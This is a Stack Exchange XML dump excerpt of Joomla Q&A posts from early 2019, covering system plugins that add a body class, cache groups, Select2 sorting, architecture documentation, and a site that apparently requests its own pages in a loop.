  <row Id="23989" PostTypeId="1" AcceptedAnswerId="23996" CreationDate="2019-01-02T17:52:30.493" Score="3" ViewCount="930" Body="&lt;p&gt;I want to add the alias to the body.  I don't want to edit my template in case of template updates.  So I'm going to create a plugin to overcome this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my query is... can I do this in PHP or should I just use jQuery.  I know I need PHP to get the alias, and using jQuery is fine to add the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering which is the best way or if there is any downside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've come up with this but for some reason it is not working.  The PHP part works but not the JavaScript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $app       = JFactory::getApplication();&#xA;    $menu      = $app-&amp;gt;getMenu();&#xA;    $active    = $menu-&amp;gt;getActive();&#xA;    $alias     = $active-&amp;gt;alias;&#xA;&#xA;&#xA;    $javascript='&#xA;&#xA;    document.body.classList.add(&quot;' . $alias  . '&quot;);&#xA;    ';&#xA;&#xA;&#xA;    $document=JFactory::getDocument();&#xA;    $document-&amp;gt;addScriptDeclaration($javascript);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-07-19T20:16:50.227" LastActivityDate="2019-07-19T20:16:50.227" Title="Easiest way to add a class to the body" Tags="|system-plugin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23991" PostTypeId="2" ParentId="23944" CreationDate="2019-01-02T19:50:26.040" Score="1" Body="&lt;p&gt;The cache group &lt;em&gt;is&lt;/em&gt; what needs to be set, however you set it when constructing the cache object. Just change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JFactory::getCache();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JFactory::getCache('banners');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is more info about parameters that can be passed &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Factory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;in Joomla's Factory api&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8455" LastActivityDate="2019-01-02T19:50:26.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23992" PostTypeId="2" ParentId="23979" CreationDate="2019-01-02T23:33:34.043" Score="1" Body="&lt;p&gt;Working solution used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Included jQuery &lt;strong&gt;Select2&lt;/strong&gt; 3.5.4 plugin which is similar to jQuery Chosen so it's kind of an overkill, but it worked.&#xA;&lt;a href=&quot;https://github.com/select2/select2/releases/tag/3.5.4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/select2/select2/releases/tag/3.5.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function to process drag sorting by anonymous user &lt;a href=&quot;https://stackoverflow.com/questions/25344372/select2-with-drag-and-drop-sorting&quot;&gt;https://stackoverflow.com/questions/25344372/select2-with-drag-and-drop-sorting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// load jQuery libraries&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('jquery.ui', array('core', 'sortable'));&#xA;JHtml::_('behavior.multiselect');&#xA;&#xA;// load select2 files&#xA;JFactory::getDocument()-&amp;gt;addStyleSheet(Juri::root(true).'/assets/select2.css');&#xA;JFactory::getDocument()-&amp;gt;addScript(Juri::root(true).'/assets/select2.js');&#xA;&#xA;// script intialize&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;jQuery(function ($) {&#xA;$.fn.extend({&#xA;    select2sortable: function(){&#xA;        var select = $(this);&#xA;        $(select).select2({width: 220});&#xA;        var ul = $(select).prev('.select2-container').first('ul');&#xA;        ul.sortable({&#xA;            placeholder : 'ui-state-highlight',&#xA;            forcePlaceholderSize: true,&#xA;            items       : 'li:not(.select2-search-field)',&#xA;            tolerance   : 'pointer',&#xA;            stop: function() {&#xA;                $($(ul).find('.select2-search-choice').get().reverse()).each(function() {&#xA;                    var id = $(this).data('select2Data').id;&#xA;                    var option = select.find('option[value=\&quot;' + id + '\&quot;]')[0];&#xA;                    $(select).prepend(option);&#xA;                });&#xA;            }&#xA;        });&#xA;    }&#xA;});&#xA;});&#xA;&#xA;// ID of multiple select field append to function&#xA;$('#selectorder').select2sortable();&#xA;&quot;);&#xA;&#xA;&amp;lt;select id=&quot;selectorder&quot; size=&quot;2&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;item1&quot;&amp;gt;Item 1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;item2&quot;&amp;gt;Item 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K73i6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K73i6.jpg&quot; alt=&quot;Result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2019-01-02T23:55:24.737" LastActivityDate="2019-01-02T23:55:24.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23993" PostTypeId="2" ParentId="23989" CreationDate="2019-01-02T23:46:37.977" Score="3" Body="&lt;p&gt;The jQuery part must be called in the document.ready() event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$javascript='&#xA;    jQuery(document).ready(function(){&#xA;         jQuery(&quot;body&quot;).addClass(&quot;' . $alias  . '&quot;);&#xA;    });        &#xA;    ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2019-01-02T23:46:37.977" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23994" PostTypeId="1" CreationDate="2019-01-03T09:37:47.510" Score="2" ViewCount="54" Body="&lt;p&gt;Is there any newer architecture diagram of joomla CMS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the &lt;a href=&quot;https://docs.joomla.org/Archived%3aCMS_Architecture_in_1.5_and_1.6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Archived%3aCMS_Architecture_in_1.5_and_1.6&lt;/a&gt; but it is from 2011 so pretty outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there one zoom-level in more detail about Joomla CMS architecture?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2019-01-03T10:57:13.843" Title="architecture diagram (current 3.x, 4.x) of joomla architecture" Tags="|joomla-3.x|software-architecture|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23995" PostTypeId="2" ParentId="23994" CreationDate="2019-01-03T10:16:27.780" Score="2" Body="&lt;p&gt;Unfortunately there is nothing like this for Joomla 4 yet. With all the amount of work that's gone into it, there's not a major amount of documentation yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however use some other resources to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potential backward compatibility issues in Joomla 4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pulls?utf8=%E2%9C%93&amp;amp;q=is%3Apr+is%3Aopen+%5B4.0%5D&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pull Requests for Joomla 4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Category:Joomla!_4.x&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 4 Docs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, as far as I'm aware, I don't believe there are major architecture changes that you need to apply when developing an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to download a copy of Joomla 4 and sift through some of the core extensions to see how they work.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2019-01-03T10:57:13.843" LastActivityDate="2019-01-03T10:57:13.843" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23996" PostTypeId="2" ParentId="23989" CreationDate="2019-01-03T10:23:17.930" Score="4" Body="&lt;p&gt;Remember that if you want to use &lt;strong&gt;vanilla JS&lt;/strong&gt;, you need to use the equivalent of jQuery's &lt;code&gt;document.ready()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you want to use &lt;code&gt;document.addEventListener('DOMContentLoaded')&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $app    = JFactory::getApplication();&#xA;    $menu   = $app-&amp;gt;getMenu();&#xA;    $active = $menu-&amp;gt;getActive();&#xA;    $alias  = $active-&amp;gt;alias;&#xA;&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;        document.addEventListener(&quot;DOMContentLoaded&quot;, function() {&#xA;            document.body.classList.add(&quot;' . $alias  . '&quot;);&#xA;        });&#xA;    ');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because Joomla loads all Javascript in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, without using an event listener, it will attempt to add the class to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; even though the page hasn't got as far as rendering the HTML yet, therefore it won't work.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="7164" LastEditDate="2019-01-03T14:17:31.917" LastActivityDate="2019-01-03T14:17:31.917" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23997" PostTypeId="1" CreationDate="2019-01-03T11:00:42.177" Score="1" ViewCount="51" Body="&lt;p&gt;I am running into an issue on several sites where the urls are &quot;nesting&quot;  other links in the main url structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example&lt;/strong&gt;: &lt;a href=&quot;https://retrolube.com/blog/five-benefits-of-new-tires-for-your-vehicle/blog/five-signs-your-vehicle-needs-new-tires/contact/blog/five-signs-your-vehicle-needs-new-tires/contact/blog/five-signs-your-vehicle-needs-new-tires&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://retrolube.com/blog/five-benefits-of-new-tires-for-your-vehicle/blog/five-signs-your-vehicle-needs-new-tires/contact/blog/five-signs-your-vehicle-needs-new-tires/contact/blog/five-signs-your-vehicle-needs-new-tires&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are running &lt;strong&gt;K2&lt;/strong&gt;, &lt;strong&gt;RS SEO&lt;/strong&gt;, and &lt;strong&gt;JAmp&lt;/strong&gt;. I have K2 Set to &quot;Enable advanced SEF for K2 URLs&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are only showing up with an auto crawl from RS SEO. It is creating more than 1000 links! They are unpublished but added to the site map! Is there a way to fix or prevent this?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2020-05-19T14:07:20.640" Title="SEF URL Issues on several sites" Tags="|joomla-3.x|k2|amp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23998" PostTypeId="1" AcceptedAnswerId="24000" CreationDate="2019-01-03T15:36:49.357" Score="1" ViewCount="279" Body="&lt;p&gt;Both the PHP and the JS is tested and works in a module.  But there's really no need for a module this is a plugin.  I'm quite new to this so I thought onAfterRender would work, but nothing seems to happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem and in the future, what is the best way to troubleshoot this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as this will load on every page, should I be using a .js file and then using defer to improve performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;koy_alias_as_body_class.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Plugin class for adding the alias to the body&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class plgSystemKoy_alias_as_body_class extends JPlugin&#xA;{&#xA;&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // only insert the script in the frontend&#xA;        if ($app-&amp;gt;isClient('site'))&#xA;        {&#xA;            var_dump(1); exit;&#xA;            $prefix = &quot;&quot;;&#xA;            if ($params-&amp;gt;get('prefix'))&#xA;            {&#xA;                $prefix = $params-&amp;gt;get('prefix');&#xA;            }&#xA;&#xA;            $menu      = $app-&amp;gt;getMenu();&#xA;            $active    = $menu-&amp;gt;getActive();&#xA;            $alias     = $active-&amp;gt;alias;&#xA;&#xA;            JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;                document.addEventListener(&quot;DOMContentLoaded&quot;, function() &#xA;                {&#xA;                    document.body.classList.add(&quot;' . $prefix . $alias  . '&quot;);&#xA;                });&#xA;            ');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;koy_alias_as_body_class.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;    &amp;lt;extension version=&quot;3.8&quot; type=&quot;plugin&quot; group=&quot;system&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;PLG_SYSTEM_KOY_ALIAS_AS_BODY_CLASS&amp;lt;/name&amp;gt;&#xA;        &amp;lt;author&amp;gt;Moi&amp;lt;/author&amp;gt;&#xA;        &amp;lt;creationDate&amp;gt;January 2019&amp;lt;/creationDate&amp;gt;&#xA;        &amp;lt;copyright&amp;gt;Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;        &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;        &amp;lt;authorEmail&amp;gt;info@site.com&amp;lt;/authorEmail&amp;gt;&#xA;        &amp;lt;authorUrl&amp;gt;https://www.site.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;KOY_ALIAS_AS_BODY_CLASS_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;koy_alias_as_body_class&quot;&amp;gt;koy_alias_as_body_class.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;!-- Update servers --&amp;gt;&#xA;    &amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;koy_alias_as_body_class&quot;&amp;gt;https://www.kindofuseful.com/downloads/joomla/modules/koy_alias_as_body_class/updates.xml&amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;prefix&quot; type=&quot;text&quot; default=&quot;m&quot; label=&quot;KOY_ALIAS_AS_BODY_CLASS_PREFIX_LABEL&quot; description=&quot;KOY_ALIAS_AS_BODY_CLASS_PREFIX_DESCRIPTION&quot; size=&quot;10&quot; /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-01-03T20:22:51.487" LastActivityDate="2019-01-04T07:32:34.953" Title="onAfterRender plugin issue" Tags="|plugin|system-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24000" PostTypeId="2" ParentId="23998" CreationDate="2019-01-03T19:59:59.250" Score="1" Body="&lt;p&gt;Ok I've debugged this now. I'll write this down in simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the PHP file name to &lt;code&gt;koy_alias_as_body_class.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the XML file name to &lt;code&gt;koy_alias_as_body_class.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;class&lt;/code&gt; name to &lt;code&gt;class plgSystemKoy_alias_as_body_class&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Replace the event &lt;code&gt;onAfterRender&lt;/code&gt; with &lt;code&gt;onBeforeCompileHead&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the XML file, replace this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;filename plugin=&quot;plg_system_koy_alias_as_body_class&quot;&amp;gt;plg_system_koy_alias_as_body_class.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;koy_alias_as_body_class&quot;&amp;gt;koy_alias_as_body_class.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also you cannot call params by using &lt;code&gt;$params-&amp;gt;get('prefix')&lt;/code&gt;.  To see the params you need first to use &lt;code&gt;$this-&amp;gt;params&lt;/code&gt;.  Unlike in a module you cannot use get.  As the params are in an array inside &lt;code&gt;$this&lt;/code&gt; you can use this syntax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;params['prefix']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="7164" LastEditDate="2019-01-04T07:32:34.953" LastActivityDate="2019-01-04T07:32:34.953" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24002" PostTypeId="2" ParentId="13503" CreationDate="2019-01-04T14:55:57.533" Score="0" Body="&lt;p&gt;I would suggest using K2 for blogging and tagging, but if you don't want to go that route then Webchun answer would have my vote.&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2019-01-04T14:55:57.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24003" PostTypeId="1" AcceptedAnswerId="24031" CreationDate="2019-01-05T08:38:02.797" Score="4" ViewCount="607" Body="&lt;p&gt;I run the server where &lt;a href=&quot;https://softwareliberopinerolo.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Joomla! site&lt;/a&gt; is hosted, so I have &lt;code&gt;root&lt;/code&gt; access to it. There is something in the configuration, or somewhere in its code, that keeps browsing the site itself. If I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# tail -f /var/log/apache2/softwareliberopinerolo.org-access.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see several logs of accesses from the server IP address to the website itself. They come at average peace of about 5 per second, steady, with almost no significant peaks or rests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excerpt of what I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/templates/beez5/css/general_mozilla.css HTTP/1.1&quot; 404 10141 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/media/system/js/mootools-core.js?65367038804095b968188728ff07f5e3 HTTP/1.1&quot; 404 10095 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/media/system/js/core.js?65367038804095b968188728ff07f5e3 HTTP/1.1&quot; 404 10093 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/media/system/js/mootools-more.js?65367038804095b968188728ff07f5e3 HTTP/1.1&quot; 404 10095 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/templates/beez5/javascript/hide.js HTTP/1.1&quot; 404 10225 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/templates/beez5/javascript/md_stylechanger.js HTTP/1.1&quot; 404 10225 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;10.7.33.103 - - [05/Jan/2019:08:22:04 +0100] &quot;GET /index.php/masky/6/howto/news/howto/howto/5-incontri/templates/beez5/favicon.ico HTTP/1.1&quot; 404 10093 &quot;https://softwareliberopinerolo.org/index.php/masky/6/howto/news/howto/howto/5-incontri/news&quot; &quot;Serf/1.3.9 (mod_pagespeed/1.13.35.2-0)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;10.7.33.103 in the logs is the source IP address of the requests and it happens to be the real IP address of the Apache server itself too, which is behind a &lt;a href=&quot;https://en.wikipedia.org/wiki/Network_address_translation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NAT&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Almost every request gets a &lt;code&gt;404&lt;/code&gt; because it's looking for non existing URLs. Once in a blue moon there is a request from 10.7.33.103 that hits a existing page.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Beez5&lt;/code&gt; template was set as default for a few seconds only to grab this log, in order to show that the URLs are being computed at runtime and they are not (fully) stored anywhere. However the same behavior happens with the site usual template, but in that case I get no &lt;code&gt;beez5&lt;/code&gt; in the logs.&lt;/li&gt;&#xA;&lt;li&gt;It's a up-to-date Joomla! 3.9.1 with no extension installed, except the ones that came bundled with official Joomla! package, and except the template (which is not the culprit, because of point 3 here above). However the site was born years ago and more or less regularly updated.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Serf/1.3.9&lt;/code&gt; and &lt;code&gt;mod_pagespeed&lt;/code&gt; in the user agent string tell us it's actually Apache starting the HTTP request, which confirms the source IP address in the logs is correct. However there are no admin scripts in the server, nor exotic Apache configurations I know of, that index the site. The same Apache server hosts other sites as well, all configured the same as this one, and none of them exhibit such behavior. &lt;code&gt;mod_pagespeed&lt;/code&gt; is not to blame, I've already tried disabling it to no avail.&lt;/li&gt;&#xA;&lt;li&gt;I already looked for malicious scripts months ago, found some and removed them. I'd argue there are leftovers, but I've also reinstalled clean Joomla! files over the existing ones afterwards, so I suspect this isn't a security related problem, because I do not know Joomla! enough to exclude configuration problems.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is &lt;em&gt;something&lt;/em&gt; that is not working as intended for sure. If you follow the &lt;strong&gt;&lt;code&gt;Iscriversi all'associazione&lt;/code&gt;&lt;/strong&gt; link in the side menu, you see it leads to the following &lt;em&gt;wrong&lt;/em&gt; URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://softwareliberopinerolo.org/index.php/howto/14-openoffice/eventi/eventi/6-eventi-futuri/news/news/arduino/iscrizione&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you get the correct page contents, but no CSS/JS or whatever other page requisites. &lt;code&gt;howto&lt;/code&gt;, &lt;code&gt;openoffice&lt;/code&gt;, &lt;code&gt;eventi&lt;/code&gt;, &lt;code&gt;news&lt;/code&gt; and so on are all categories inside the CMS, but that page does not belong to any of them. The menu item type is &lt;code&gt;Single Article&lt;/code&gt; and the URL is being generated by Joomla!. Other menu items are working only because I've modified their type to custom URL and I've manually entered the correct URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I had to deactivate the site, because it was taking up all the server RAM. If you click the link it won't work, but you can trust my description of what you'd see if it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is browsing the site? Is there any cache configuration in Joomla that can cause such behavior? Or is the site still hacked? How do I find out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: I've tried the following procedure, which I think excludes any chance to blame malware leftovers, unless Joomla! executes any code it loads from the database:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded a clean Joomla 3.9.1 package&lt;/li&gt;&#xA;&lt;li&gt;Removed &lt;code&gt;installation&lt;/code&gt; folder immediately, before even actually using it&lt;/li&gt;&#xA;&lt;li&gt;Copied over &lt;code&gt;configuration.php&lt;/code&gt; file from my site and NOTHING ELSE&lt;/li&gt;&#xA;&lt;li&gt;tested it: the same problem is still there and the site keeps browsing itself. Please note: I did NOT copy over the template, nor the images, so it's only Joomla 3.9.1 original code with my site database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think this pretty much shows that Joomla either browses itself server side by design, under some configuration, OR it has some feature/bug that makes it execute arbitrary code it loads from the database, and in my case that code was injected by some malware in the past. Do you agree?&lt;/p&gt;&#xA;" OwnerUserId="8931" LastEditorUserId="8931" LastEditDate="2019-01-08T10:48:53.843" LastActivityDate="2019-01-10T09:12:31.903" Title="Site keeps browsing itself all the time" Tags="|url|security|.htaccess-configuration|cache|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24004" PostTypeId="2" ParentId="10232" CreationDate="2019-01-05T15:28:50.710" Score="0" Body="&lt;p&gt;I thought about this and I came up with a different solution.  Assuming your plugin has a field called &quot;class&quot; in the XML.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$appParams = $app-&amp;gt;getParams();&#xA;&#xA;$class = &quot;&quot;;&#xA;if ($this-&amp;gt;params['class'])&#xA;{&#xA;    $class = $this-&amp;gt;params['class'];&#xA;}&#xA;&#xA;$pageClass = $appParams['pageclass_sfx'];&#xA;if(!empty($pageClass)) &#xA;{&#xA;    $class = &quot; &quot; . $this-&amp;gt;params['class'];&#xA;}&#xA;else &#xA;{&#xA;    $class = $this-&amp;gt;params['class'];&#xA;}&#xA;$pageClass = $pageClass . $class;&#xA;$app-&amp;gt;setParams($pageClass);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the menu/page class is already added to the body we can just concatenate ur new class &lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-01-05T15:36:44.060" LastActivityDate="2019-01-05T15:36:44.060" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
